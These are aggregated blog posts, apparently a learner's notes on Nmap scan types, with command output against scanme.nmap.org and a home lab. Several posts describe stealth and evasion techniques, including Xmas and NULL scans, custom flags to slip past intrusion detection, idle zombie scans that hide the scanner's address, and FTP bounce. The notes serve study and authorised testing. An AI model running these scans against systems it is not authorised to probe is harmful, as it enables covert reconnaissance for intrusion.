SENT (0.1899s) TCP 192.168.1.70:55137 > 74.207.244.221:80 A ttl=56 id=3517 iplen=40 seq=0 win=1024
SENT (0.1901s) ICMP 192.168.1.70 > 74.207.244.221 Timestamp request (type=13/code=0) ttl=42 id=11123 iplen=40
RCVD (0.3404s) ICMP 74.207.244.221 > 192.168.1.70 Echo reply (type=0/code=0) ttl=50 id=25525 iplen=28
NSOCK (0.3560s) nsi_new (IOD #1)
NSOCK (0.3570s) UDP connection requested to 192.168.1.254:53 (IOD #1) EID 8
NSOCK (0.3570s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 18
NSOCK (0.3570s) Write request for 45 bytes to IOD #1 EID 27 [192.168.1.254:53]: .K………..221.244.207.74.in-addr.arpa…..
NSOCK (0.3570s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]
NSOCK (0.3570s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]
NSOCK (0.4010s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (74 bytes): .K………..221.244.207.74.in-addr.arpa………….J….scanme.nmap.org.
NSOCK (0.4010s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 34
NSOCK (0.4010s) nsi_delete (IOD #1)
NSOCK (0.4010s) msevent_cancel on event #34 (type READ)
CONN (0.4018s) TCP localhost > 74.207.244.221:22 => Operation now in progress
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.15s latency).
PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds

The major difference I can spot from the SYN scan is:

SENT (0.1899s) TCP 192.168.1.70:55137 > 74.207.244.221:80 A ttl=56 id=3517 iplen=40 seq=0 win=1024

Which I believe is the packet acknowledging and completing the connection.

In order to terminate this connection Nmap requests the Operating System to send a Reset Package (RST) rather than a go through the process of another handshake with a FIN flag.

Learning Nmap Security Network Port Scanner: UDP Scan -sU

$
0
0

This is the eighth post detailing my notes on Nmap Network Scanning.

UDP scan is activated with -sU and works by sending empty UDP headers:

:~# nmap -sU scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-30 12:55 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.22s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
123/udp open ntp
1701/udp open|filtered L2TP

Nmap done: 1 IP address (1 host up) scanned in 1035.51 seconds

As you can see this scan took some time to complete, much longer than the TCP scan.

An interesting feature is the “open/filtered” result is given if there has been no response to the probe; in contrast, the “filtered” result is given in the same circumstances for TCP Scans.

In an attempt to improve UDP scan results it is advised to enable version scanning -sV or -A

~# nmap -sUV scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-30 13:52 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.20s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
123/udp open ntp NTP v4
1701/udp open|filtered L2TP

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1209.27 seconds

In this instance exactly the same results were produced as the non-version scan.

Learning Nmap Security Network Port Scanner: TCP FIN, NULL and Xmas Tree Scans

$
0
0

This is the ninth post detailing my notes on Nmap Network Scanning.

The TCP FIN, NULL and Xmas Tree Scans exploit a loophole in TCP RFC:

The TCP RFC says that if a closed port receives a packet that does not have the SYN, ACK, or RST flag set, the port should respond with an RST packet of its own. Furthermore, the RFC states that if the port is open and it receives a packet without a SYN, ACK or RST flag set the packet should be ignored.

[....]

Assuming the operating system of the target fully complies with the TCP RFC, Nmap is able to determine the port state without completing or even initiating a connection on the target system.

[….}

In general Xmas Tree scans and Null scans work against Unix and Linux machines but not Windows.

SOURCE: The Basics of Hacking and Penetration Testing

So, we expect an RST if the port is closed and no response if open. But that’s only if the target system complies fully with TCP RFC.

These scans can sneak through non-stateful firewalls and packet filtering routers; however, they can’t distinguish open from filtered ports as filters may simply drop banned probes without any response making the port appear open. We can switch on the version detection to help distinguish if open or filtered, as in the UDP scan, but this defeats the object of being stealthy.

NULL scan (-sN) no bits set, TCP flag header is 0

FIN scan (-sF)

Xmas Tree Scan (-sX) FIN, PSH and URG flag set; thus, “lit up like a Christmas tree”.

Here’s Xmas Tree Scan:

nmap -sX scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-04 09:30 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
554/tcp open|filtered rtsp
7070/tcp open|filtered realserver

And here is an Xmas Tree Scan against the Windows portion of my Virtual Hacking Lab:

~# nmap -sX 192.168.1.79

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-04 09:32 BST
Nmap scan report for lab.home (192.168.1.79)
Host is up (0.0052s latency).
All 1000 scanned ports on lab.home (192.168.1.79) are closed
MAC Address: 00:0C:76:17:A4:17 (Micro-star International CO.)

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

As predicted above this scan was ineffectual against a Windows system. Every port replied with RST regardless; therefore, identified as “closed”. Compare this with a standard scan:

:~# nmap 192.168.1.79

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-04 09:35 BST
Nmap scan report for lab.home (192.168.1.79)
Host is up (0.13s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
912/tcp open apex-mesh
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
MAC Address: 00:0C:76:17:A4:17 (Micro-star International CO.)

Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds

Learning Nmap Security Network Port Scanner: Custom Scan Types with – -scanflags

$
0
0

This is the tenth post detailing my notes on Nmap Network Scanning.

We can design our own scans using arbitrary TCP flags which may help in evading intrusion detection.

The options are: URG, ACK, PSH, RST, SYN, FIN.

The above book suggests mixing up SYN/FIN

~# nmap –scanflags SYN/FIN scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-05 10:20 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.0096s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
554/tcp filtered rtsp
7070/tcp filtered realserver

Nmap done: 1 IP address (1 host up) scanned in 3.87 seconds

Learning Nmap Security Network Port Scanner: TCP ACK Scan (-sA)

$
0
0

This is the eleventh post detailing my notes on Nmap Network Scanning.

This scan does not determine if ports are open/closed, it’s designed to map firewall rules and discover if they are stateful or not.

If an RST is received in response to the probe – which should happen in accordance with RFC – then port is labelled “unfiltered”.

Ports that don’t respond or contain ICMP error messages are labelled as “filtered”.

ACK packets are more difficult for the target to filter as they do not reveal who initiated the contact; unlike SYN packets. Only stateful firewalls can block unsolicited ACK packets.

~# nmap -sA scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-06 16:04 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.042s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
554/tcp unfiltered rtsp
7070/tcp unfiltered realserver

Nmap done: 1 IP address (1 host up) scanned in 16.70 seconds


Learning Nmap Security Network Port Scanner: TCP Window Scan (-sW)

$
0
0

This is the twelfth post detailing my notes on Nmap Network Scanning.

This scan is identical to the TCP ACK Scan (-sA) except instead of reporting “unfiltered” for returned RST packets, it examines the TCP Window value to determine the state of the port:

TCP RST Response with non-zero window field = Open

TCP RST Response with zero window field = Closed

No response = Filtered

ICMP unreachable error (type 3, code 1, 2, 3, 9, 10 or 13) = Filtered

Here’s the scan:

~# nmap -sW scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-07 19:03 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.048s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
554/tcp closed rtsp
7070/tcp closed realserver

Same results as the ACK scan except both port 554 and 7070 reported closed rather than filtered.

Learning Nmap Security Network Port Scanner: TCP Idle Zombie Scan (-sI)

$
0
0

This is the thirteenth post detailing my notes on Nmap Network Scanning.

This fairly lengthy section on the Idle Scan can be read in full here.

This is the stealthiest of all scans as is achieved without sending a single packet to the target from the attacking machine. The idea is to completely hide the attacking IP address through bouncing the scan of an “zombie host”. This method can also establish IP trust relationships and defeat some firewalls.

The first stage of this scan is to identify an appropriate zombie (simple network device) and confirm that it is idle through the assignment of fragment identification numbers (IP ID) located in the IP packet. Ideally I am looking for incremental IP ID’s and so will use Nmap’s IPID Sequence Scanner to verify this.

I don’t understand how to locate potential idle hosts; however, I do have a printer on my network and know its IP.

:~# nmap –script ipidseq 192.168.1.86

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-08 13:26 BST
Nmap scan report for EPSON349BD2.home (192.168.1.86)
Host is up (0.017s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
80/tcp open http
515/tcp open printer
9100/tcp open jetdirect
MAC Address: A4:EE:57:34:9B:D2 (Seiko Epson)

Host script results:
|_ipidseq: All zeros

Sadly, the results are all zero’s which renders this printer unusable as a zombie.

And that’s as far as I can go, as I have no other potential zombie to perform this scan and no idea how to force the printer to respond with incremental packets.

Gutted.

Learning Nmap Security Network Port Scanner: IP Protocol Scan -sO

$
0
0

This is the fourteenth post detailing my notes on Nmap Network Scanning.

This scan allows for the identification of IP Protocols and works by watching for protocol unreachable messages. Protocol scans can help determine the purpose of a machine and what sort of packet filtering is in place.

Adding -F scans all protocols in the Nmap database and -P to select protocols. By default Nmap scans 256 possible values.

The below is a protocol scan of my Linux machine:

nmap -sO 192.168.1.70

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-10 12:25 BST
Nmap scan report for Dexter.home (192.168.1.70)
Host is up (0.000044s latency).
Not shown: 249 closed protocols
PROTOCOL STATE SERVICE
1 open icmp
2 open|filtered igmp
6 open tcp
17 open udp
103 open|filtered pim
136 open|filtered udplite
255 open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds

Learning Nmap Security Network Port Scanner: TCP FTP Bounce Scan -b

$
0
0

This is the fifteenth post detailing my notes on Nmap Network Scanning.

The premise of this scan is to exploit a feature in FTP Protocol 959 which allows a connection to an FTP server with a view for that sever to send documents to a third-party. Put simply, this allows us to scan ports via another FTP server.

The above book notes that this is an old vulnerability which is a long shot, as was confirmed with my efforts:

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-18 14:46 BST
Your FTP bounce proxy server won’t talk to us!
QUITTING!

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-18 14:50 BST
Your FTP bounce server refused login combo (anonymous/-wwwuser@)
QUITTING!

By default Nmap uses anonymous and -wwwuser@ as the FTP username and password and default FTP port 21.

I can’t imagine finding a vulnerable ftp server in this day and age, but you never know….

Learning Nmap Security Network Port Scanner: Service and Application Version Detection -A or -sV nmap-service-probes

$
0
0

This is the fifteenth post detailing my notes on Nmap Network Scanning.

In this scan all open and open|filtered TCP and/or UDP ports are passed to the service scanning module (nmap-services-probes) which is:

…..a database of custom probes and expected responses that the Nmap Security Scanner uses to identify what services (eg http, smtp, dns, etc.) are listening on open ports.

The premise is that many common services identify themselves in an initial welcome banner.

The version detection may be switched on via -A (Aggressive or advanced) or -sV.

:~# nmap -sV scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-22 17:02 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.45s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
554/tcp open tcpwrapped
7070/tcp open tcpwrapped
9929/tcp open nping-echo Nping echo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Viewing all 47 articles
Browse latest View live